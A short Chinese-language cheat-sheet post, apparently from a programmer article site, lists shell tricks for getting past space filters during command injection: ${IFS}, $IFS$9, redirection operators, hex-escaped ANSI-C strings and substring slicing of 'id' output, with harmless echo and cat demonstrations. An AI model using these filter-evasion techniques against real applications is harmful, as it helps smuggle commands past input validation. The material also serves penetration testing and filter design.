命令注入绕过空格
程序员文章站
2022-07-14 15:34:03
...
01 全局变量
$ echo${IFS}1234
1234
$ echo$IFS$91234
1234
02 重定向符
$ cat<test
1234
$ cat<>test
1234
03 变量定义
$ cmd=$'\x201234'&&echo$cmd
1234
这个方式可以用ASCII编码,绕过所有字符限制。
04 字符串处理
$ a=$(id)&&b=${a:16:1}&&echo${b}1234
1234
$ a=$(id)&&b=${a#*)}&&c=${b%%g*}&&echo${c}1234
1234
$ a=$(id)&&b=${a#uid=0(root)}&&touch$b&&c=$(ls)&&d=${c#gid=0(root)}&&e=${d%groups=0(root)}&&echo${e}1234
1234
05 其他特殊字符绕过
- 文件分割:cut,split,sed,awk
- 脚本语言:python,perl
- xxd -r -p file